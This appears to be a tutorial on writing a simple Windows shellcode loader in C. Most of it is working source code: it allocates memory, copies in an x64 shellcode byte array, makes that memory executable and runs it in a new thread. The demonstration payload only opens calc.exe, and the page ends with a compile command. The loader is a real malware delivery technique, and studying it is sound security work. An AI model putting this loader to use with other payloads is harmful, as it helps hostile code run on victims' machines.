A simple shellcode loader is a basic program designed to inject and execute shellcode directly within the process’s memory space. This type of loader typically involves the following steps:
- Allocating memory within the current process or a target process.
- Copying the shellcode into the allocated memory.
- Changing the memory protection settings to make the memory executable.
- Executing the shellcode.
Code Example: Simple Loader
Below is an example of a simple loader written in C. This loader will allocate memory, copy the shellcode into it, set the appropriate memory protections, and then execute the shellcode. The shellcode used in this example is designed to open calc.exe
.
// Simple Loader Example
#include <windows.h>
int main() {
// Shellcode to dynamically resolve kernel32.dll and open calc.exe
unsigned char shellcode[] =
"\x48\x83\xec\x28\x48\x8d\x15\x17\x01\x00\x00\x48\x8d\x0d\x03\x01"
"\x00\x00\xe8\x45\x00\x00\x00\x49\x89\xc7\x48\x8d\x0d\xf4\x00\x00"
"\x00\xff\xd0\x48\x8d\x15\x05\x01\x00\x00\x48\x8d\x0d\xe4\x00\x00"
"\x00\xe8\x26\x00\x00\x00\x48\x8d\x0d\xfa\x00\x00\x00\xba\x01\x00"
"\x00\x00\xff\xd0\x48\x8d\x15\xf5\x00\x00\x00\x48\x8d\x0d\xc3\x00"
"\x00\x00\xe8\x05\x00\x00\x00\x48\x31\xc9\xff\xd0\x48\x83\xec\x28"
"\x65\x4c\x8b\x04\x25\x60\x00\x00\x00\x4d\x8b\x40\x18\x4d\x8d\x60"
"\x10\x4d\x8b\x04\x24\xfc\x49\x8b\x78\x60\x48\x89\xce\xac\x84\xc0"
"\x74\x23\x8a\x27\x80\xfc\x61\x7c\x03\x80\xec\x20\x38\xc4\x75\x08"
"\x48\xff\xc7\x48\xff\xc7\xeb\xe5\x4d\x8b\x00\x4d\x39\xe0\x75\xd6"
"\x48\x31\xc0\xeb\x6b\x49\x8b\x58\x30\x44\x8b\x4b\x3c\x49\x01\xd9"
"\x49\x81\xc1\x88\x00\x00\x00\x45\x8b\x29\x4d\x85\xed\x74\x51\x4e"
"\x8d\x04\x2b\x45\x8b\x71\x04\x4d\x01\xee\x41\x8b\x48\x18\x45\x8b"
"\x50\x20\x49\x01\xda\xff\xc9\x4d\x8d\x0c\x8a\x41\x8b\x39\x48\x01"
"\xdf\x48\x89\xd6\xa6\x75\x08\x8a\x06\x84\xc0\x74\x09\xeb\xf5\xe2"
"\xe6\x48\x31\xc0\xeb\x1a\x45\x8b\x48\x24\x49\x01\xd9\x66\x41\x8b"
"\x0c\x49\x45\x8b\x48\x1c\x49\x01\xd9\x41\x8b\x04\x89\x48\x01\xd8"
"\x48\x83\xc4\x28\xc3\x4b\x45\x52\x4e\x45\x4c\x33\x32\x2e\x44\x4c"
"\x4c\x00\x4c\x6f\x61\x64\x4c\x69\x62\x72\x61\x72\x79\x41\x00\x57"
"\x69\x6e\x45\x78\x65\x63\x00\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
"\x45\x78\x69\x74\x50\x72\x6f\x63\x65\x73\x73\x00";
// Allocate memory for shellcode
void *exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Copy shellcode to allocated memory
RtlMoveMemory(exec, shellcode, sizeof(shellcode));
// Change memory protection to execute the shellcode
DWORD oldprotect = 0;
VirtualProtect(exec, sizeof(shellcode), PAGE_EXECUTE_READ, &oldprotect);
// Execute the shellcode
HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, (DWORD)-1);
return 0;
}
This simple loader demonstrates the essential steps needed to run shellcode within a process. The shellcode in this example dynamically resolves the base address of kernel32.dll
, locates the address of WinExec
using the Export Address Table, and then calls WinExec
to open calc.exe
.
Compiling the Loader
To compile this C program on a Windows system using Visual Studio from the command line, you can use the following command:
cl /EHsc /W4 /Fe:program.exe program.c